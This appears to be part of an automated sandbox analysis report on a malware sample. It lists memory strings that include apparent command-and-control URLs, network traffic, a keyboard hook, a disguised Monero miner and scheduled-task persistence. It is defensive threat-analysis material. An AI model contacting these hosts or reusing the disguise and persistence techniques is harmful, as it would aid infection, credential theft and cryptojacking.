Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B24000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impend-differ.biz:443/api
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B24000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/C
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954867621.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: f384e6dcaa.exe, 00000024.00000003.2943043081.0000000000B5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/of
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B24000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B24000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/765611997243319005
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: f384e6dcaa.exe, 00000024.00000003.2953569354.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954715303.0000000000B45000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954867621.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 4fa13d4e43.exe, 00000027.00000003.3294407745.0000000005373000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3321429872.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3320804078.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3297963986.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3294148112.0000000005372000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3293982285.000000000536A000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3339036190.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000002.3352701908.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3298953440.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3339359350.0000000005375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/.
Source: 4fa13d4e43.exe, 00000027.00000003.3265134678.0000000005358000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3269743904.000000000535B000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3266018777.000000000535B000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3293982285.000000000536A000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3264332179.0000000005358000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3270458316.000000000535B000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: 4fa13d4e43.exe, 00000027.00000003.3293982285.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/apiT6LZt
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/d
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/pi
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/piB
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/te
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000D28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz:443/api
Source: 4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: 4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 4fa13d4e43.exe, 00000027.00000003.3298436902.0000000005408000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2882047481.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000029.00000002.3244488323.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2882047481.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000029.00000002.3244488323.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2882047481.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000029.00000002.3244488323.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.5:50000 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: 6_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

6_2_00408DBB

System Summary

Malicious sample detected (through community Yara rule)

Source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 41.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 41.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 30.3.Intel_PTT_EK_Recertification.exe.223c1340000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 40.3.Intel_PTT_EK_Recertification.exe.1cac83b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000028.00000003.3228516434.000001CAC83B0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 0000001E.00000003.2867814460.00000223C1340000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.6.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: 153848897b.exe.5.dr	Static PE information: section name:
Source: 153848897b.exe.5.dr	Static PE information: section name: .idata
Source: 153848897b.exe.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: 0ef66f58de.exe.5.dr	Static PE information: section name:
Source: 0ef66f58de.exe.5.dr	Static PE information: section name: .idata
Source: 0ef66f58de.exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name:
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name: .idata
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: .idata
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: 8b77671daf.exe.5.dr	Static PE information: section name:
Source: 8b77671daf.exe.5.dr	Static PE information: section name: .idata
Source: 8b77671daf.exe.5.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0079CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

5_2_0079CB97

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 10_2_000296AC: free,GetFileInformationByHandle,DeviceIoControl,free,free,memmove,free,

10_2_000296AC

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00467049	0_2_00467049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00468860	0_2_00468860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004678BB	0_2_004678BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004631A8	0_2_004631A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00537B6E	0_2_00537B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00424B30	0_2_00424B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00462D10	0_2_00462D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00424DE0	0_2_00424DE0
